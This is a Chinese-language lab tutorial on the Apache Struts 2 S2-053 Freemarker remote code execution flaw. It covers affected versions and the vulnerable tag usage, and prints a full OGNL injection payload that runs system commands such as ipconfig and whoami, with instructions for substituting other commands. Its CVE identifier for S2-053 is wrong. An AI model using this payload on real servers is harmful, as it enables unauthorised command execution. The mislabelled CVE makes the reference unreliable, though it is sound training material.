实验环境
操作机:Windows 7
IP:172.16.11.2
实验工具
XAMPP: 一个功能强大的建站集成软件包
可以实现服务器的功能,但是只能自己访问
Firefox: 中文俗称‘火狐’,一个自由及开放源代码网页浏览器
漏洞介绍
继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。
当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞。
影响范围
Struts 2.0.1 - Struts 2.3.33、Struts 2.5 - Struts 2.5.10
不受影响的版本
Struts 2.5.12、Struts 2.3.34
漏洞分析
当在Freemarker标签中使用表达式文本或强制表达式时,使用以下请求值可能会导致远程代码执行
<@s.hidden name="redirectUri" value=redirectUri />
<@s.hidden name="redirectUri" value="${redirectUri}" />
这两种情况下,值属性都使用可写属性,都会受到Freemarker表达式影响。
步骤1:开启Tomcat服务器
步骤2:访问目标网站
网站的首页有一个输入框,下一步中,我们将在此框中输入我们的payload,发起攻击。
步骤3:发送需要执行的恶意代码
payload代码如下:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd='ipconfig'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
特别注意,分析上述代码,可以发现其中我们要执行的任意代码位于以下两处。
(#cmd='ipconfig')
{'cmd.exe','/c',#cmd='ipconfig'}
因此,如果我们要执行其他命令的话,一定要将这两处同时替换,否则命令将执行失败。
步骤4:漏洞验证
步骤3中,我们执行了命令ipconfig,点击提交按钮之后,可以在该页面看到网页返回结果如下:
将两处ipconfig修改为whoami,结果如下:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd='whoami'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}